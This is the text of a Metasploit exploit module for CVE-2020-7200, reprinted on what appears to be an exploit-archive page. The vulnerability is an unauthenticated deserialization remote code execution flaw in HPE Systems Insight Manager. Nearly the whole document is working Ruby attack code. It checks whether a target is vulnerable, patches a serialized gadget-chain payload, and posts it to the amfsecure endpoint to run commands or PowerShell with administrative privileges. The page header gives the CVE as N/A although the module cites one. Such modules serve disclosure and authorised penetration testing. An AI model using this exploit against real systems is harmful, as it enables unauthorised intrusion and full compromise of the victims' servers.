HPE Systems Insight Manager AMF Deserialization Remote Code Execution

2021.03.09
Credit: Harrison Neal
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'HPE Systems Insight Manager AMF Deserialization RCE', 'Description' => %q{ A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due to a failure to validate data during the deserialization process when a user submits a POST request to the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain RCE as the administrative user running HPE SIM. }, 'Author' => [ 'Harrison Neal', # Original bug finder, reported bug to ZDI 'Jang', # Aka @testanull on Twitter, editor of nightst0rm, who wrote a very detailed writeup of this bug in Vietnamese 'Grant Willcox' # Metasploit module author ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-7200'], ['URL', 'https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0'], ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-20-1449/'], ['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us'] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 64000 } ], [ 'Windows Powershell', { 'Arch' => [ARCH_X64], 'Type' => :windows_powershell, 'Space' => 64000 } ] ], 'DefaultOptions' => { 'RPORT' => 50000, 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2020-12-15', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The base path to the HPE SIM server', '/' ]) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('Failed to connect to the server.') if res.nil? body = res.body unless body.include?('Please insert your Smart Card and login to HPE System Insight Manager.') && body.include?('<title>HPE Systems Insight Manager</title>') && body.include?('/ui/javascript/XeHelp.js') return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!") end data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb') serialized_payload_content = f_handle.read f_handle.close serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, 'a') # NOP command of a which will allow for checking if the target is vulnerable. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'), 'data' => serialized_payload_content_final }) unless res&.code == 200 return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!") end unless res.to_s.include?('java.lang.NullPointerException') return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!") end CheckCode::Vulnerable('Target returned java.lang.NullPointerException in its 200 OK response!') end def exploit case target['Type'] when :windows_command execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly. when :windows_powershell execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason. end end def payload_template_adjustments(original_content, cmd) original_content['PAYLOAD'] = cmd original_content[0x47A..0x47B] = [cmd.length].pack('n') second_adjustment_length = original_content[0x3C..-1].length * 2 pack_array = [] current_number = second_adjustment_length for count in 0...3 if current_number >> 7 == 0 break else if count == 2 pack_array.prepend((current_number >> 8) | 0x80) break else pack_array.prepend((current_number >> 7) | 0x80) current_number = current_number >> 7 end count += 1 end end pack_array.append((second_adjustment_length & 0x7F) + 1) original_content[0x3A..0x3B] = pack_array.pack('c*') original_content end def execute_command(cmd, _opts = {}) data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb') serialized_payload_content = f_handle.read f_handle.close serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'), 'data' => serialized_payload_content_final }) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command') end unless res.to_s.include?('java.lang.NullPointerException') fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!') end end end


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